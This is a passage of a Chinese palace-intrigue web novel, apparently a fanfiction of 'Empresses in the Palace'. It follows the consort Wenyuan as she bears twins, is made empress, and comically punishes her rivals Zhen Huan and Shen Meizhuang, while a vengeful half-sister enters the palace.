龙凤胎是皇上最期待的,所以提前准备好了圣旨。一朝得愿,大部分人都是满意的。 不甘心的自然有,只是位卑,无人在意罢了。 第299 章 瓜尔佳文鸳30 小小的两团娃娃较寻常婴儿小些,但那嘹亮的哭声一点不输健硕的孩子。皇上稀罕的坐在那里看看这个,摸摸那个,眉角眼梢满是笑意。 “两个孩子性子像你,半分委屈都受不得。” 瞧着被奶嬷嬷抱下去喂奶的两个孩子,皇上心有戚戚的揉了揉耳朵。 文鸳在心里看了一眼地府龙凤胎药的使用说明:受用者若是服用过相同渠道的药物,胎儿会继承该特质,并放大。 她甜甜的笑了笑,精神抖擞的坐在皇上身边,利索的身姿叫人不看头上的抹额,一时间还真分不清到底谁应该坐这个月子。 “那是咱们孩子身体好对不对?” 这话说的没错,皇上无比认真的点了点头,太医都说了,难得见如此脉力蓬勃的婴儿。要知道太医们为了保住自己的脑袋和九族,一般都会留一个话口作为那个‘万一’。 “孩子们如此健康,你功不可没。” 皇上这几日难得松快了些,有心召甄嬛聊以慰藉相思,谁曾想当初的预感变成了现实。 若只是黑些,还能用香粉弥补一二。可这段时间跟着夏常在每日挥动鞭子五百下,那不协调的胳膊实在叫皇上下不去嘴。 纯元是皇上的真爱不假,皇上的思念也并非都是表面,可如今有了更操心的文鸳,这份相思便逐渐褪色。 感叹一番‘物是人非’后,甄嬛便彻底被放在了一边。 然而皇上不记得文鸳可记得,答应的月例每月不过三两。 文鸳这头光是府里头准备的衣裳首饰就有百倍之多。更何况再加上银票,皇上的赏赐和隔了一辈子的利息,给甄嬛算个一万两,不过分吧? 这么些银子,光是靠答应这点微薄的份例得还到哪辈子去?文鸳歪着头有些出神,皇上却觉得后背一凉。 他四周看了一眼,确定这小混蛋算计的不是自己,心里头安定了许多。 至于受害者是谁?皇上并不是很在意。左右文鸳的手段就那一样,除了累腿累胳膊就是累身子,无需放在心上。 而文鸳心里头正在盘算自己的旧衣裳:用哪个碰瓷一下甄嬛好呢?叫她也知道知道,弄湿了别人珍贵的苏绣,是需要赔钱的。 说到赔钱,应该拉着夏冬春也在场才行,不能叫她白白被毁了一身苏绣,始作俑者还逍遥法外,这样不行。 笃定了主意的文鸳再次活蹦乱跳起来,皇上却认真瞧了她一眼,十分确定与自己无关后,被拉着陪同坐月子的准皇后投了会儿壶才得以离开。 一晃眼六阿哥和三公主的满月宴就到了,先头给温宜办周岁时文鸳和华妃弄的热闹。 不过龙凤胎这独一份的吉祥安泰,皇上便罗列了更为端庄贵气的布置。 皇后的册立礼安排在了中秋前,礼部正紧锣密鼓的准备着,内务府自乌雅氏一族被大换血后,瓜尔佳氏富察氏等都安插了些自己的人手在里头。 多年的对手,同僚也是三族沾亲的两大家族,在皇后的册立礼上意见超绝对统一。 文鸳代表的不仅是瓜尔佳氏,更是皇权和臣子间归属的紧密联系。 在文鸳送回家的密信中表示,宫里的富察贵人只要有身孕,她一定会帮忙保下来,无论男女,最少一个妃位。 皇后表示了富察氏在皇朝更迭时的错误翻篇后,即便皇上仍旧心有不满,朝堂上他们沉寂,但女人们之间的纽带,他不可能会干预。 皇上登基时那拉氏的命妇准备了不少贺词和贺礼,可惜当初的乌拉那拉氏未能担负起皇后的职责。 如今皇上和满清老臣的破冰,自然对满清的统治更为有利。 心眼子多的人计较的利益更大,而有要求的是双方,挟制彼此,方得长久。 满月宴的主人公不仅是龙凤胎,更像是一场对文鸳的夸夸会。 老福晋说皇后命里带福面相显贵,命妇们称赞皇后得天所授和皇上站在一起是珠联璧合。 就连不爱上学的敦亲王都举着杯子夸了一句‘日月同辉’。 皇上笑呵呵的为两个孩子赐名,六阿哥为弘晸,三公主为弘晶。 龙凤胎,公主尊贵些是正常的。文鸳对此表示很满意,她的孩儿就是最好的。 弘晸和弘晶满月后,早晚的天儿也见了凉意。 宫里头该修缮的宫殿也修缮妥当了,礼部送来的皇后朝服文鸳也试穿了,所有人都在为皇后的册立礼忙碌着。 先头的那位乌拉那拉氏不过是继福晋,皇上以国库空虚为由简化了不少形式。 谦嫔站在景仁宫的院子里,看着乾清宫的方向心里头恨意翻腾。 而失去了包衣家族的太后,则是在皇考贵妃拿出十四阿哥的玉佩时安静了下来,歇了在皇后贺朝礼仪上作怪的心思。 顺利完成整个仪式的文鸳丝毫不见疲累,她兴奋的拉着皇上完成了此生的洞房花烛,给封后仪式来了个十分完美的结尾。 至于陪同了一天累的半死不活还被玩弄了大半宿的皇上,文鸳表示,菜就要多练。 “臣妾/嫔妾给皇后娘娘请安,皇后娘娘万福金安。” 坤宁宫的重檐庑殿顶上的黄色琉璃瓦在晨曦的照耀下格外庄严,两层檐下的单翅重昂七彩斗拱和廊内的鸾凤硬天花更是彰显中宫的地位。 众嫔妃自进了坤宁宫的地界儿便不由自主的放缓了呼吸,头一次全部人都带了十二万分敬意的行大礼。 “都起来吧,咱们姐妹都很熟悉了。本宫也没那么多弯弯绕绕。从前如何,今后还是如何。只是该请安的就老老实实坐在坤宁宫的椅子上,总想着出挑的,也掂量掂量自个儿的骨头有没有本宫的话重。” 除了端妃,甄嬛和沈眉庄,其余人面色如常。 “本宫一向爱热闹,后宫里可以找些吃喝玩乐的乐子,也可以和三两好友寻些趣味,在自个儿宫里的动静本宫不拘着你们。 但若是像沈常在和甄答应那般非要在大庭广众献个艺跳个舞的,可要想清楚了,这后妃和那伶人的身份,到底想要哪个了。” 甄嬛身为答应,甚至连个凳子都排不上,站在最末尾的位置脸颊冒着热气。 第300 章 瓜尔佳文鸳31 一岁多的温宜守着弟弟妹妹乖巧的坐在榻上,双手握着两个摇铃,时不时挥动两下,吸引着躺着的两小只的注意力。 华妃在外沿上坐着,不错眼的盯着三个奶娃娃。从前最爱的金银线刺绣的衣裳也不常穿了,小孩子皮肤娇嫩,她新做了许多柔软花样素净的常服,日常在永寿宫带孩子穿。 “这弘晸和弘晶是我见过最有活力的小婴儿了。” 随着月份渐长,两个孩子对睡眠的需求也在慢慢降低。吃饱了会醒着神啊啊的喊着人陪玩儿,嗓音嘹亮手劲儿也极大。 文鸳玩儿孩子玩儿腻了,就会自觉的去养心殿玩会儿皇上。至于孩子谁陪,那不是还有华妃她们。 富察贵人在前几日太医请平安脉时知道了一个多月身孕的消息,她自进宫后就是文鸳元老级的玩伴,身体强健不必多说。 文鸳晋了她的位分,还叫皇上想了个寓意不错的封号-嘉,为嘉嫔。 李荣保的福晋特意递了对牌进宫,虽是为了恭贺宫里的娘娘有了身孕,也是为了感激皇后的言而有信。 皇上仍旧觉得富察氏不必太过抬举,主要是他的心眼极小,还在记仇富察氏当初和老八‘同流合污’一派的旧事。 但文鸳却不管这些。 “臣妾不懂那些,仪欣是臣妾的好朋友,臣妾就要这么封。” 文鸳不依不饶的缠磨着皇上,反正她的懿旨已下,就算皇上不痛快也没什么办法。 “要是皇上心里头实在不痛快,不然就叫富察家的进宫,臣妾帮您出口气怎么样?” 还没等皇上反应过来,文鸳看着高无庸喊道:“把门口的傅清给本宫叫进来。” 傅清是傅恒的哥哥,李荣保的次子,如今任蓝翎侍卫。 皇上刚张开嘴,就看到自己的大太监转身就走。 仪欣从榻上起身,在皇上的紫檀木条案前站定。 她的黄金宝剑已经有这份单独一桌的排面了,看的出来皇上的审美逐渐向团花紧簇的方向靠拢。 皇上:污蔑,她污蔑朕!朕只是觉得这剑在暴打年羹尧上出了大力,才放到这里的! 傅清进门刚行了礼,眼前一花紧接着自己就躺到了地上。 看着头顶雕龙刻凤的房梁,傅清一时间有些不知所措。 皇上就那么微张着嘴在原地站着,瞧着他那身姿曼妙甜如蜜糖的皇后举着那把黄金剑舞的虎虎生风。 一时间不知道是同情富察氏还是同情自己。 “好了,皇上出气了吗?” 文鸳把剑放到高举双手的高无庸手上,看了眼地上瘪着嘴的傅清自个儿满意的点了点头。 傅清听到这句话就明白了今日这顿打的含义,虽然并不觉得委屈,毕竟为家族出力。 但是他希望如果有下次,皇后娘娘可以提前打声招呼。 “好了,难为皇后替朕出气了。” 皇上缓过神只觉得痛快,暴力虽然不能完全解决问题,但可以叫人心情愉悦。 挥了挥手,傅清一瘸一拐的离开养心殿。 文鸳还是很有分寸的,最起码面子工程做的好。不至于叫傅清顶着一头包当值。 “多大事啊,那等嘉嫔生产,臣妾还要给她封妃呢。皇上您要是不乐意,再叫傅清来打一顿就好了。” 还没走远的傅清捏着拳头忍了又忍,富察家只有他一个侍卫了吗?就必须要逮着他揍吗? 虽然李荣保福晋送了礼来,但文鸳得叫他们富察氏知道,为了宫里的嘉嫔,她这个皇后真的是殚精竭虑了呢。 傅清:殚精竭虑? 只是李荣保和马奇都知道,挨顿打不可怕,可怕的是皇上既不表态也不惩罚,这才是悬在头上的刀子。 虽然他们也明白苟到下一朝自是可以翻身,但宫里的娘娘,必须站到高位。 不是为了别的,为的是富察这个姓氏的荣耀。 傅清挨了打,还要准备谢礼送到坤宁宫,感谢皇后娘娘的栽培之恩。 文鸳欣赏富察家的上道,对于四处得瑟的嘉嫔包容的一笑。 那笑容和规整沈常在,甄答应两人时有些相似,叫头脑发热的嘉嫔瞬间理智回笼。 “有孕的人是多思些,本宫也知晓。既然嘉嫔精神头这么大,那正好,和本宫去散散步吧。” 夏冬春自告奋勇的带着两人到御花园看甄答应甩鞭子,嘉嫔本来高高吊起的心慢慢落回实处。 她瞧着甄答应那明显壮硕了一圈的胳膊笑出了声,即便是宽大的袖子也遮掩不住隆起的肌肉,再配上那生无可恋的表情,那真的是有趣极了。 只是笑着笑着,嘉嫔就笑不出来了。 文鸳找了两个精通妇科的女医,这大家都是知道的。后宫就是女人的天下,有些较为私密的病症太医虽可医治但毕竟女医更安心些。 两位女医自有一套适合孕妇的动作,在文鸳的眼中,那就是早期,古典版的瑜伽。简单轻柔的拉伸,不仅缓解腰酸背痛,还能练习调整呼吸,为以后的生产做准备。 这动作瞧着简单,做起来却有些吃力。 嘉嫔每日按照女医制定的时间散步锻炼,还有两个认字的宫女天天在她耳边读三字经和千字文,哪里有精神去别人那里找事。 每日的睡觉时间都是她最宝贵的个人空间,别说是去截宠,皇上来了都被她劝到了夏冬春屋子里,是一点动静都不想听到了。 不过这几日皇上也甚少在后宫转悠,外头的疫病严重,好在后宫管控严格,倒是安稳的很。 “臣妾记得太医院有不少闲着的太医,年轻些的嫔妃信不过,那就直接叫他们出去研究这疫病好了。” 甄嬛和沈眉庄没什么份例但还过的算是不错的最主要因素就是温实初。虽然他没什么钱,但是他敢变卖家产啊。 前些日子光顾着玩儿了,正好现在想起来,就顺手把温实初扔了出去。 曾经的甄嬛不是没想过装病,只是她前脚报了病后脚就有其他的太医过来把脉,所以温实初一直都觉得自己愧对了環妹妹。 只是即便温实初把自己的月例都送到后宫,也不过二两二钱,将将能吃一个肉菜就没了。 温家的家底能有多少?温父温母又不是不管事的,总不能叫他把家祸祸干净。 温实初尽心竭力帮扶甄嬛时,甄嬛因着其能量有限内心毫无波澜。 然而当温实初被派出去研治疫病后,甄嬛方才体会到一个没有月例不得宠爱的答应有多难过。 她想争宠,可再如何清高的说‘以色侍他人终不长久’也知道,没有色,皇上连看一眼都不愿。 自己需要时间去蛰伏去改变,而改变现状的,唯有眉姐姐了。 (【大清会典事例】,雍正年间,太医院院使月银三两。左右院判,七品御医月银二两二钱。) 第301 章 瓜尔佳文鸳32 温实初也确实有两把刷子,疫病在他的看诊琢磨药方下很快就得到了克制。 “倒是个难得的人才,在太医院不出挑想来是对于妇科和儿科一道不甚精通。不若送去军中?也算是不辜负那一身医术了。” 曹贵人笑着递给皇上一个橘子,按照皇后的意思三两句把温实初打发到了边疆。 只是一句话的事,文鸳便以公主生母位分不宜过低的由头给曹琴默晋了嫔位。 对自己的小弟,文鸳一向大方。 秋高气爽,文鸳在坤宁宫的小花园举办了一场小型的赏花宴。 曹嫔早早到了坤宁宫,把温宜放在东暖阁的软榻上,叫一岁半的打工崽看着弟弟和妹妹,自个儿便出了门帮衬着做了些小事。 “难得你撺掇这么文雅的小聚,我在门口都犹豫了一二呢,生怕你这挂羊头卖狗肉的,叫我今儿的花盆底受了罪。” 华妃接到的也是赏花宴的通知,她犹犹豫豫的穿上了华美的蜀锦和金贵的点翠,以往那个风情万种的华妃上身,生怕文鸳这是掩盖闹腾的假象。 “今儿玩儿的轻巧些,把心放肚子里就是。” 文鸳自个儿不作妖,但坤宁宫有两个魔音贯耳的小祖宗呢。 一时看不到额娘就不开心,闭着眼睛嗷嗷大叫。温宜习以为常的撅着屁股爬到另一边,把脑袋埋进宣软的枕头里。 众人也面不改色的继续恭维着文鸳,把嗓门放大继续谈天说地,聊胭脂比布料。 自从六阿哥和三公主出生后,她们就没有睡过完整的囫囵觉。 坤宁宫的地理位置好啊,在紫禁城的南北中轴线上,不论是东六宫还是西六宫,雨露均沾的在夜里听到环绕式的婴啼。 虽然自己没有孩子,但是主打一个陪伴。 皇上是最大的受害人,他经常被皇后拽着在坤宁宫睡觉,本就劳累一天加一晚的他还要听自家儿女馋奶的哭嚎。那因着龙凤胎日益拔高的精气神又再次萎靡了下去。 说是赏花,其实大家围在一起品茶说话也是一番趣味。 齐妃前几日得了一只叫松子的猫,她日日抱着来找文鸳玩儿,一团肉肉的毛绒又乖巧又可爱,还会守着两个只会蹬腿挥胳膊的小娃娃,被拽了毛毛也不生气。 “松子出来了?来本宫这里玩儿。” 文鸳拍了拍手,把从东暖阁跑出来的小猫抱在了怀里。 这深宫的日子谁过谁知道,玩儿来玩儿去的就那么些乐子,有一位活泼好动的皇后她们也算是得了不少趣味。一个软糯的猫,更是吸引了大部分人的注意力。 “这猫儿可太好了,改明儿嫔妾也去猫狗房看一看有没有合眼缘的。” 方佳常在和齐妃住在一起,平日里除了研究吃还是研究吃,她入宫时虽然年龄小,但心机却并不比其她人浅。 经过曦嫔,曦妃,曦贵妃到皇后这么一大段天堑后,换掉了自己靠近宠妃的计划,反而是随着齐妃一起加入到了每日里疯玩儿的小团体。 意外的被皇后另眼相待,如今吃喝不愁,偶尔有皇恩雨露,只盼着自己得一个健康的孩儿,便可以安心享福了。 因着方佳常在太过频繁的骚扰松子,导致松子看见方佳常在凑近就从文鸳怀里跳了出去。 “你们可是有怕猫的?站着别动就是了。齐妃的松子养的娇气些却不是个会挠人的。” 文鸳看了一眼身后的栀子,栀子会意的后退一步佯装去端点心。 随着松子的跑跳,甄嬛果然从边缘处挪动起来。 “瞧瞧这秋海棠是不是很漂亮,本宫就喜欢这种颜色艳丽的花儿。” 瞧着甄嬛端着茶杯,文鸳不经意的上前。松子这只可爱的小猫从甄嬛的脚下跑过去,惊的她手一抖,茶水正好扣在了文鸳的袖子上。 “皇后娘娘恕罪,嫔妾无心之失。” 文鸳由着栀子擦着袖口,嗤笑了一声说道:“好一个无心之失。难不成犯了错,一句无心就能抵了你的过吗?” 这场景多么熟悉啊,夏冬春不自觉的走到文鸳的右手边站着,四下看了看,对上安陵容那双眼睛气呼呼的哼了一声。 “是嫔妾的过,请皇后娘娘恕罪。” 甄嬛知道皇后不喜她,在皇后的斥责声中胳膊开始不自觉的酸痛。 她下意识的请罪,咽回去了想要狡辩的话。 “好似你一句恕罪就值这千金的蜀锦苏绣,甄答应未免太看得起自己了。” 沈眉庄从后头上前一并蹲在甄嬛身边:“皇后娘娘,甄答应无心之过,本就是猫儿惊人,皇后娘娘一身衣裳的事,何苦这般为难于人。” 真是无心插柳柳成荫,今儿本没打算和沈眉庄为难,偏她就这么直直的撞上来,若是不做些什么,倒显得她这个皇后‘不解风情’了。 “哦?这么说来,沈常在的意思是,你做错了事,计较便是被伤害的人斤斤计较了是吗?看来沈家的家风也不过如此,知错就改这四个字,看来沈自山也不懂呢。” 即便沈家不认沈眉庄这个女儿又如何呢?沈眉庄的的确确出自山东济州,追究起来,也是理所应当。 “嫔妾未曾有此意,只是一些小事,嫔妾以为皇后娘娘大度,应当不会计较这小节。” 沈眉庄心里头何尝没有埋怨自个儿家里不够得力,好叫她也一入宫就得了皇上的偏爱呢。 “以为,应当。” 文鸳嘲讽的冲着两人笑了笑。 “你们两个算什么东西?” 她拍了拍衣袖,好似沾了什么脏东西一般。 “弄脏了本宫的衣裳赔钱理所应当,即便是拿到外头,也是这个理。” 文鸳由着栀子扶着去后头换衣裳,场面一下就安静下来。 夏冬春猛地冲向安陵容:“好啊,我就说你们几个同流合污的东西,还说我斤斤计较,我的苏绣价值几何你心里头没数吗?” 说着,她又冲到甄嬛身边:“还有你,明明是她把茶水泼到了我身上,你却说是我的不对,真是凭这一张嘴是人是鬼都由你来评定了。” 夏冬春的大嗓门把当时的情景完美还原了一遍,丝毫不避讳自己叫安陵容下跪道歉的嚣张。 华妃在一旁翻了个白眼:“本宫以为你们两个不懂尊卑已经是到头了,没成想你们两个还听不懂人话。本宫还真得写信给哥哥,叫他好生查一查你们家里。 想必能教出你们两个没脑子的夯货,这官职来的也蹊跷的很呢。” 安陵容咬了咬牙上前行了一大礼:“是嫔妾的错,嫔妾愿赔偿夏常在的衣裳。” 虽然她比夏冬春多个封号,但夏冬春背后是皇后,她的那点皇恩说不得就是皇后一句话的事,若是因着这事被皇后记着,后半辈子怕是没有出头之日了。 至于银子,苏绣确实昂贵,但以她目前的恩宠来说,也不算特别难捱。 夏冬春得了赔偿心里头痛快多了:“瞧你倒是个懂事的,以后少跟不三不四的人来往。” 不三不四的甄嬛咬了咬唇,安陵容倒是说的轻巧把这一茬揭了过去,这也叫她被架在了火上烤。 文鸳出来时,甄嬛一个头磕在地上:“嫔妾身无长物,愿以今后的月例赔偿皇后娘娘的衣裳。” 博尔济吉特贵人的汉语已经很好了,听完这话不自觉的笑出了声:“你那点月例,要皇后娘娘等多久?” 文鸳拍了拍阿茹娜的手:“你没有银子,你爹有啊,甄答应,别人进宫都是为家族争光的,倒是你,和你那好姐妹沈常在,啧。” 未尽之语满是嫌弃。 甄远道接到一万两白银的赔偿款时两眼一黑,这女儿明明培养的很好啊,怎么净干蠢事呢? 至于沈家,路程远些,但并不耽误文鸳问责。 “不敬中宫,混淆是非,无女子之德,无做人之信。” 几句话叫沈家几辈人的付出全都付之东流。 沈家每人都写了一封信合在一起送到了沈眉庄手里,来自亲人的责骂和痛恨,叫沈眉庄不能接受。 然而这些都不算完,文鸳惩罚宫妃从来不搞禁足抄书那一套。 她只玩儿体罚。 什么蛙跳,一千米往返跑,引体向上,仰卧起坐等这些宫妃没见过的稀奇古怪的姿势通通安排上,保证她们有个印象深刻的教训。 第302 章 瓜尔佳文鸳33 “谦嫔怎么样了?” 文鸳在铺满了毛绒绒真皮毛毯的躺椅上靠着,闭着眼睛漫不经心的询问。 “守门的太监说,谦嫔清减了不少,只是精神头还好的很,日日在景仁宫里骂天骂地的。夜晚了还会传来阴森森的哭声,怪吓人的。” 茉莉和紫薇去了弘晸和弘晶身边伺候着,栀子和海棠现在负责文鸳的身边事。 文鸳扯了扯嘴角:“骂天骂地?怕不是在骂本宫吧。” 有精神就好,死了一了百了,就不能眼睁睁的看着她瓜尔佳文鸳坐在曾经属于她的后位上作威作福了,那真是想想都很可惜呢。 栀子尴尬的笑了笑,这话心里头知道就行了,说出来万一要做那什么像青蛙似的跳就不好了。 虽然知道她家娘娘从小就是个闲不住的,就连池塘都不知道掉进去过几次了。 但是即便如此,在水里还能有闲心观察青蛙的跳法的也是古往今来第一人了。 想想沈常在和甄答应,两个柔柔弱弱的大家闺秀现在变成什么样了?黑了不说瞧着身形都走了样子。 栀子家是包衣旗彰锦氏,在她的记忆里,自己的家族世代服务于瓜尔佳氏主支。因为她的姑姑陪着先太子妃殉葬,所以主支给了她哥哥阿林一个进入军队的机会。 哥哥参军后也写过信给她,听闻他们天不亮就要起来训练,其中艰苦栀子很难想象。 不过自从看到沈常在和甄答应二人后,她对于训练的艰苦有了比较清晰的认知。 每日卯时起床,围着御花园跑上三圈,然后才能用早膳。 上午要做一百个青蛙跳和一百个扒着树枝起身的动作,这玩意儿自家娘娘也叫不出名字,不过他们私底下都试过,很难。 午休只有短暂的半个时辰,用了午膳后就要和嬷嬷一起练习坐卧站行。 就连一个普通的蹲礼都要能稳稳当当的维持一刻钟时间才算能起身。 晚上也不得闲,娘娘也不知道怎么想的,叫娇生惯养的两个宫嫔去练习刻木头。 栀子倒不是心疼沈常在和甄答应,栀子心疼的是木头。 好好的木料,就算拿去当柴火烧都能取个暖呢!给她们两个简直浪费。 不过,这一天天的训练下来的效果是很棒的,两个人如今能听懂人话了,也不爱顶嘴了,更不会大中午的在外头弹琴跳舞的惹人厌烦了。 一直到第一场初雪覆盖住紫禁城的红砖绿瓦,被动军训的两人才惊觉秋日竟就这么浑浑噩噩的过去了。 秋日里除了几场小宴,文鸳闲着无聊折腾起了后宫的嫔妃。 想着西六宫住的大部分都是自己的玩伴,干脆把相处的来的都归置在了一起。 皇后想玩过家家的游戏,即使麻烦众人也得陪着。 因着延禧宫地理位置不好,隔壁又是总闹出些瘆人动静的谦嫔,文鸳便把嘉嫔安置在了永寿宫。 储秀宫的欣常在和咸福宫的敬嫔被放在了永和宫。文鸳可是专门去寿康宫请示过病歪歪的太后的同意的,至于太后是怎么同意的,请你们自行想象。 而钟粹宫的原本住户博尔济吉特贵人被移到了储秀宫。 至于夏冬春,则被放在了咸福宫。 已经升为曹嫔的曹琴默带着温宜住到了钟粹宫。文鸳也告诉过曹嫔,西六宫都是她看好的人,但是没有主位。 若是想住主位,便去东六宫。倒没有别的意思,只是地方不够了而已。曹琴默不是不识好歹的,自然是应了下来。 始终觉着畅音阁地方不算宽敞,便把甄嬛和沈眉庄一同移到了延禧宫。腾出来碎玉轩作为她们听戏蹦迪的地点,十分方便。 畅音阁则用作命妇的小宴,里外都不耽误,文鸳觉得自己真是个平平无奇的端水小天才。 沈常在和甄答应的位分都没有延禧宫的柔常在高,刚开始安陵容还没反应过来,甄嬛就拉着沈眉庄进了东偏殿。 本住在西偏殿乐道堂的安陵容想起皇后还是曦嫔时说的话,拉着宝娟站到了东偏殿的门前。 “两位妹妹走错门了,这东偏殿,是我的寝殿才是。” 安陵容站在外头也不想进去,看着两人愤愤的眼神笑了笑:“若是宫规还没有研读明白,我便请皇后娘娘派个嬷嬷来,也好叫妹妹们早日懂了规矩。” 皇上那点子并不算多厚重的宠爱和皇后的忽视就是安陵容的底气。她知道皇上对她不算真心,但该有的赏赐都有,身为不算得宠的常在宫人们多少也给面子。 皇后虽然不喜欢她,但也不会无故的责罚降罪。而且安陵容看的出来,皇后对甄嬛才是不加掩饰的厌恶。 只要她稳得住,就算今后皇上不喜,能得一个孩子,还怕没有以后吗? 宝娟总算是苦尽甘来了,她笑着招呼着延禧宫的宫人把沈常在的东西扔了出去。 “小主您先回去歇一歇,奴婢把这里好好打扫一下您再来。” 今儿是皇后娘娘给的好日子,她们一定要在今日搬完才行呀! 紫禁城·大型·搬寝活动,在日头西落时正式落下帷幕。 敬嫔和欣常在在永和宫的正殿坐着,各自看着手里的茶碗半晌没有说话。 两人都不是蠢的,皇后的区别对待她们早就明白,只是始终想不明白,自己到底什么时候得罪了皇后呢? 除夕宴前,在养心殿磋磨皇上一起拉弓的文鸳接到了三道好消息。 咸福宫的夏常在,长春宫的方佳常在和延禧宫的柔常在都上报了有孕的喜事。 “这是好事,既然都是常在,便都晋为贵人吧。叫她们好好安胎,天寒地冻的,先不用来请安了。” 文鸳摆了摆手,她这个皇后又不是个小气的。不过贵人也就是安陵容的顶点了,尊重每一个顾客的要求。 打发走了报喜的太监,文鸳放下弓箭坐在榻上。 “前些日子济州协领沈自山的夫人送了对牌进宫,臣妾见着了沈眉庄的妹妹沈婉仪,是个妙人。” 皇上擦了擦额角的汗,身边的高无庸叫来了太医给他按摩着酸疼的胳膊。 即便日日锻炼着,也不敌天赋异禀的小混蛋。 那七力的弓箭即使在他那些讨人厌的兄弟们之间也算得上是佼佼者了。 “真的?能听懂人话?” 皇上摇了摇头表示怀疑,明明沈自山是个挺得力的,也不知道怎么把女儿教成这样。 文鸳瞥了他一眼:“能,反正和臣妾说话还挺正常的。” 何止正常,不仅能有效理解言中意小嘴还甜的很。 沈家也是实在害怕了,沈眉庄一个人把沈家全族的女儿都祸祸的没了名声。族里头精挑细选了这位沈婉仪虽然是庶出,但容色秀美心思细腻,擅长察言观色也懂些情趣。 皇上看了一眼自家皇后,发现她的表情还是挺正常的:“你决定就是了。” 这几日弘晸和弘晶犯了邪性,必须要皇上抱着玩儿上半个时辰才肯睡觉。 两个孩子手劲儿又极大,不知道扯坏了多少玩具首饰,皇上真是又爱又恨。 “那便给个贵人吧,住到延禧宫去,正好延禧宫的主位空着,也算是给汉军旗一个甜枣。” 皇上随意的点了点头,自从抄了乌雅氏后他就再没犯愁过银子的事,一个贵人,只要伺候的好就行。 其实一个常在就顶天儿了,只不过文鸳想看沈眉庄的窘迫,特意抬了这位沈贵人,希望她能有效理解自己的意思吧! 第303 章 瓜尔佳文鸳34 年宴后,这位沈贵人便被接到了宫中。 “婉仪。” 沈眉庄站在西偏殿的门口眼神复杂的看着自己这位庶妹。 沈贵人却直接进了正殿,只当做没有听见。 “沈常在安好,咱们小主是贵人,沈常在还是勿要直呼咱们小主的名字好。沈常在有所不知,因为您这名声,族里的小姐被退婚被休弃的有好些个。 若是您还能记着些养育之恩,便称呼咱们小主一声贵人吧!” 说话的是沈婉仪带进宫的贴身侍女冬雪,她和秋雨同是沈家的家奴,眼瞧着这位沈常在入宫后沈家的女儿一日不如一日的名声,对这位沈常在自然没什么好脸色。 “眉姐姐是主子你是奴婢,即便眉姐姐有错,也轮不到你来说道。” 甄嬛不知何时站到了沈眉庄身边,握着沈眉庄冰凉的右手替她鸣不平。 冬雪皮笑肉不笑的行了一礼:“甄答应安好,想来甄家和咱们沈家不同,没有这么多礼节规矩,所以才没受到这么大的牵连。 两位小主恕罪,我们家小主刚刚入宫,奴婢还有好些事要做,就不陪两位小主说话了。” 冬雪和秋雨进宫时得了沈家族长的千叮咛万嘱咐,千万不可再和沈常在走近。 伺候好皇上皇后,不求有个阿哥能光耀门楣,或封妃登上高位,便是能叫两位主子能洗掉对沈家那些难听的评价就好了。 安陵容看了眼正殿前的热闹,叫宝娟到沈贵人门前问了一嘴。 得了允许后慢悠悠的从沈眉庄身边路过,到正殿去给这位沈贵人请安。 沈婉仪谨记家中的教诲,除了对沈眉庄和甄嬛,全都是好脸色。 “柔贵人客气了,我这也是刚刚进宫难免招呼不周,等明儿个收拾妥当了,再请柔常在来喝茶。” 后宫约莫分成了三个派系。 一是以皇后娘娘为首的,华妃,齐妃,丽嫔,曹嫔,嘉嫔,博尔济吉特贵人,夏贵人和方佳贵人。 二是几位散户,端妃,谦嫔,敬嫔,柔贵人和欣常在。 三便是她这位好嫡姐了,和她的异父异母毫无血缘关系却亲密无间的姐妹甄答应,是后宫最不受待见的两人。 这些都是嫡母花了大价钱打听出来的消息,沈婉仪摩挲着手上的戒指表情还算轻松。 能打听出来,说明皇上和皇后对沈家还有些面子情,她只要牢记自己的使命,这宫妃的日子应当能顺顺当当的过。 “叫咱们的人把东西都准备好,明儿个给皇后娘娘请安都带上。” 文鸳给了贵人的位份,沈家自然知道其中之意。 特意打听了当今皇后的喜好,准备了一串一百零八颗的帝王绿翡翠珠链,和一枚以直径约十二分,厚度为八分的紫翡为蛋面,辅以三层花瓣和叶托上镶满了数千颗透明玛瑙,绿色石榴石和蓝宝石的牡丹戒指。 (这是昭仪之星,大家可以搜一搜。) 冬雪和秋雨再次检查了要送的礼物的盒子,这可是族里能找到最顶尖的首饰了,万不能有一点闪失。 “对了,叫咱们的人看好西配殿和后殿的两人,天儿凉,别惹了风寒不自知惊扰了贵人。” 沈婉仪的同胞姐姐因为皇后对沈家的质疑被夫家遣归回沈家,一时没想开自尽了。 她对沈眉庄的恨意很大,进宫前专门找了大夫问了一些药材,头上的簪子里放的就是甘遂和芫花的粉末。 她只等着自己慢慢站稳了脚跟,等一个沈眉庄着了风寒的时机。 沈婉仪是知道沈眉庄风寒有咳嗽的毛病的,一般咳嗽的药汤里都有甘草,甘草和甘遂芫花,用的好了,就能给她姐姐报仇了。 只是沈婉仪第一日入宫,晚上刚睡着就被一阵响亮的哭嚎震惊的心脏噗通直跳。 “冬雪姑娘,这是咱们六阿哥和三公主的动静。两位小主子嗓门亮精神头高,咱们小主习惯就好了。” 沈婉仪迷茫的听完只觉得,这个后宫,和她想象中的后宫,有点不太一样。 好在沈婉仪睡眠质量奇高,就算是被吵醒了也可以一秒入睡。 第二日请安时倒是精神,换了身低调的蓝色衣裳,和冬雪往坤宁宫去。 “婉,沈贵人。” 沈眉庄的声音在身后响起,沈婉仪深吸口气扯出一抹虚假的微笑。 “沈常在可是有事?” 沈眉庄看出了沈婉仪的不耐,心里头有些不得劲。 “沈贵人第一次请安,可要和我一起?” 沈婉仪这次笑的很真切,只不过带了好懂的嘲讽:“想来,和沈常在一起才容易犯错。” 她哪里敢和这位没有九族的人一起,难不成叫皇后以为她们沈家没皮没脸不知道悔改吗? 提前一步给皇后送了礼,文鸳瞧着沈婉仪扫量了两眼:“本宫倒不欲与你为难,你老老实实的就行。” 最近文鸳开始训练两个孩子扔东西了,所以对沈眉庄和甄嬛的兴趣大大减少。 请安的过程很简单,众人对沈家庶女踩在沈家嫡女头上的戏码都很有兴趣,为难沈婉仪是不存在的,只是更多的调侃一下沈眉庄。 “你们姐妹倒是不像,沈贵人性子温婉守礼,能看出孔孟之乡的好教养。” 齐妃听沈婉仪说话挺顺耳的,她向来直白,更不会看一个小常在的脸色。 沈眉庄脸上泛起红晕,羞臊的低着头不肯出声。 “可不是,你们沈家也是稀奇,好好的嫡女养成这样一副不知所谓的德行,倒是庶女还能看上一看。” 虽然文鸳免了夏冬春的请安,但和文鸳玩儿的久了,她也闲不下来,只要没事就要来坤宁宫坐着。 夏贵人说话不好听,但沈婉仪并不往心里去。 